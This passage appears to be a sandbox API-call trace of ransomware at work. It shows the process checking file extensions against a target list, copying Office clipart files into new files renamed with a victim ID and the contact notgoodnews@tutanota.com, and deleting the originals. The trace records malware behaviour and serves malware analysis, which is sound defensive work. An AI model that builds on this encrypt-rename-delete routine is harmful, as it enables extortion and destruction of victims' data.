[0089.884] lstrlenW (lpString=".xls") returned 4 [0089.884] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.884] lstrlenW (lpString=".xlsx") returned 5 [0089.884] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.884] lstrlenW (lpString=".ppt") returned 4 [0089.884] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0089.884] lstrlenW (lpString=".zip") returned 4 [0089.884] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.884] lstrlenW (lpString=".rar") returned 4 [0089.884] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.884] lstrlenW (lpString=".bz2") returned 4 [0089.884] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.884] lstrlenW (lpString=".7z") returned 3 [0089.884] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0089.884] lstrlenW (lpString=".dbf") returned 4 [0089.884] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0089.884] lstrlenW (lpString=".1cd") returned 4 [0089.885] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0089.885] lstrlenW (lpString=".jpg") returned 4 [0089.885] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.010] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0090.010] lstrlenW (lpString="IN00957_.WMF") returned 12 [0090.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.011] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2944) returned 1 [0090.011] CloseHandle (hObject=0x378) returned 1 [0090.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf")) returned 0x220 [0090.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.011] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.011] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0090.012] GetLastError () returned 0x0 [0090.012] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xb80, lpOverlapped=0x0) returned 1 [0090.013] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xb90, lpOverlapped=0x0) returned 1 [0090.014] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.014] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0090.015] SetEndOfFile (hFile=0x330) returned 1 [0090.015] CloseHandle (hObject=0x330) returned 1 [0090.015] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.015] SetEndOfFile (hFile=0x378) returned 1 [0090.016] CloseHandle (hObject=0x378) returned 1 [0090.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.016] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf")) returned 1 [0090.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0090.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0090.016] lstrlenW (lpString=".doc") returned 4 [0090.016] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.016] lstrlenW (lpString=".docx") returned 5 [0090.016] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.016] lstrlenW (lpString=".pdf") returned 4 [0090.016] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.016] lstrlenW (lpString=".xls") returned 4 [0090.016] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.016] lstrlenW (lpString=".xlsx") returned 5 [0090.016] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.016] lstrlenW (lpString=".ppt") returned 4 [0090.016] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0090.016] lstrlenW (lpString=".zip") returned 4 [0090.017] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.017] lstrlenW (lpString=".rar") returned 4 [0090.017] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.017] lstrlenW (lpString=".bz2") returned 4 [0090.017] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.017] lstrlenW (lpString=".7z") returned 3 [0090.017] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0090.017] lstrlenW (lpString=".dbf") returned 4 [0090.017] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0090.017] lstrlenW (lpString=".1cd") returned 4 [0090.017] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0090.017] lstrlenW (lpString=".jpg") returned 4 [0090.017] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0090.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0090.017] lstrlenW (lpString=".doc") returned 4 [0090.017] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.017] lstrlenW (lpString=".docx") returned 5 [0090.017] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.017] lstrlenW (lpString=".pdf") returned 4 [0090.017] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.017] lstrlenW (lpString=".xls") returned 4 [0090.017] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.017] lstrlenW (lpString=".xlsx") returned 5 [0090.017] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.017] lstrlenW (lpString=".ppt") returned 4 [0090.017] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0090.017] lstrlenW (lpString=".zip") returned 4 [0090.017] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.017] lstrlenW (lpString=".rar") returned 4 [0090.017] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.017] lstrlenW (lpString=".bz2") returned 4 [0090.018] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.018] lstrlenW (lpString=".7z") returned 3 [0090.018] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0090.018] lstrlenW (lpString=".dbf") returned 4 [0090.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0090.018] lstrlenW (lpString=".1cd") returned 4 [0090.018] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0090.018] lstrlenW (lpString=".jpg") returned 4 [0090.018] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.018] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0090.018] lstrlenW (lpString="J0075478.GIF") returned 12 [0090.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.018] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=1220) returned 1 [0090.018] CloseHandle (hObject=0x378) returned 1 [0090.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 0x220 [0090.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.019] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.019] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0090.019] GetLastError () returned 0x0 [0090.019] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x4c4, lpOverlapped=0x0) returned 1 [0090.020] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x4d0, lpOverlapped=0x0) returned 1 [0090.021] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.021] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0090.022] SetEndOfFile (hFile=0x330) returned 1 [0090.022] CloseHandle (hObject=0x330) returned 1 [0090.022] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.022] SetEndOfFile (hFile=0x378) returned 1 [0090.023] CloseHandle (hObject=0x378) returned 1 [0090.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.023] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 1 [0090.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0090.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0090.023] lstrlenW (lpString=".doc") returned 4 [0090.023] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0090.023] lstrlenW (lpString=".docx") returned 5 [0090.023] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0090.023] lstrlenW (lpString=".pdf") returned 4 [0090.023] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0090.023] lstrlenW (lpString=".xls") returned 4 [0090.023] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0090.023] lstrlenW (lpString=".xlsx") returned 5 [0090.023] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0090.023] lstrlenW (lpString=".ppt") returned 4 [0090.023] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0090.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0090.024] lstrlenW (lpString=".zip") returned 4 [0090.024] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0090.024] lstrlenW (lpString=".rar") returned 4 [0090.024] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0090.024] lstrlenW (lpString=".bz2") returned 4 [0090.024] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0090.024] lstrlenW (lpString=".7z") returned 3 [0090.024] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0090.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0090.024] lstrlenW (lpString=".dbf") returned 4 [0090.024] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0090.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0090.024] lstrlenW (lpString=".1cd") returned 4 [0090.024] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0090.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0090.024] lstrlenW (lpString=".jpg") returned 4 [0090.024] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0090.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0090.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0090.024] lstrlenW (lpString=".doc") returned 4 [0090.024] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0090.024] lstrlenW (lpString=".docx") returned 5 [0090.024] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0090.024] lstrlenW (lpString=".pdf") returned 4 [0090.024] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0090.024] lstrlenW (lpString=".xls") returned 4 [0090.024] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0090.024] lstrlenW (lpString=".xlsx") returned 5 [0090.024] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0090.024] lstrlenW (lpString=".ppt") returned 4 [0090.024] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0090.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0090.024] lstrlenW (lpString=".zip") returned 4 [0090.024] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0090.024] lstrlenW (lpString=".rar") returned 4 [0090.024] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0090.024] lstrlenW (lpString=".bz2") returned 4 [0090.025] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0090.025] lstrlenW (lpString=".7z") returned 3 [0090.025] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0090.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0090.025] lstrlenW (lpString=".dbf") returned 4 [0090.025] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0090.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0090.025] lstrlenW (lpString=".1cd") returned 4 [0090.025] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0090.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0090.025] lstrlenW (lpString=".jpg") returned 4 [0090.025] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0090.025] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0090.025] lstrlenW (lpString="J0086384.WMF") returned 12 [0090.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.026] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=9734) returned 1 [0090.026] CloseHandle (hObject=0x378) returned 1 [0090.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 0x220 [0090.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.026] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.026] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0090.027] GetLastError () returned 0x0 [0090.027] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x2606, lpOverlapped=0x0) returned 1 [0090.028] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x2610, lpOverlapped=0x0) returned 1 [0090.029] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.029] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0090.029] SetEndOfFile (hFile=0x330) returned 1 [0090.030] CloseHandle (hObject=0x330) returned 1 [0090.030] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.030] SetEndOfFile (hFile=0x378) returned 1 [0090.031] CloseHandle (hObject=0x378) returned 1 [0090.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 1 [0090.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0090.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0090.031] lstrlenW (lpString=".doc") returned 4 [0090.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.031] lstrlenW (lpString=".docx") returned 5 [0090.031] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0090.031] lstrlenW (lpString=".pdf") returned 4 [0090.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.031] lstrlenW (lpString=".xls") returned 4 [0090.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.031] lstrlenW (lpString=".xlsx") returned 5 [0090.031] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0090.031] lstrlenW (lpString=".ppt") returned 4 [0090.031] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0090.031] lstrlenW (lpString=".zip") returned 4 [0090.031] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.031] lstrlenW (lpString=".rar") returned 4 [0090.031] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.031] lstrlenW (lpString=".bz2") returned 4 [0090.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.032] lstrlenW (lpString=".7z") returned 3 [0090.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0090.032] lstrlenW (lpString=".dbf") returned 4 [0090.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0090.032] lstrlenW (lpString=".1cd") returned 4 [0090.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0090.032] lstrlenW (lpString=".jpg") returned 4 [0090.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0090.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0090.032] lstrlenW (lpString=".doc") returned 4 [0090.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.032] lstrlenW (lpString=".docx") returned 5 [0090.032] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0090.032] lstrlenW (lpString=".pdf") returned 4 [0090.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.032] lstrlenW (lpString=".xls") returned 4 [0090.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.032] lstrlenW (lpString=".xlsx") returned 5 [0090.032] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0090.032] lstrlenW (lpString=".ppt") returned 4 [0090.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0090.032] lstrlenW (lpString=".zip") returned 4 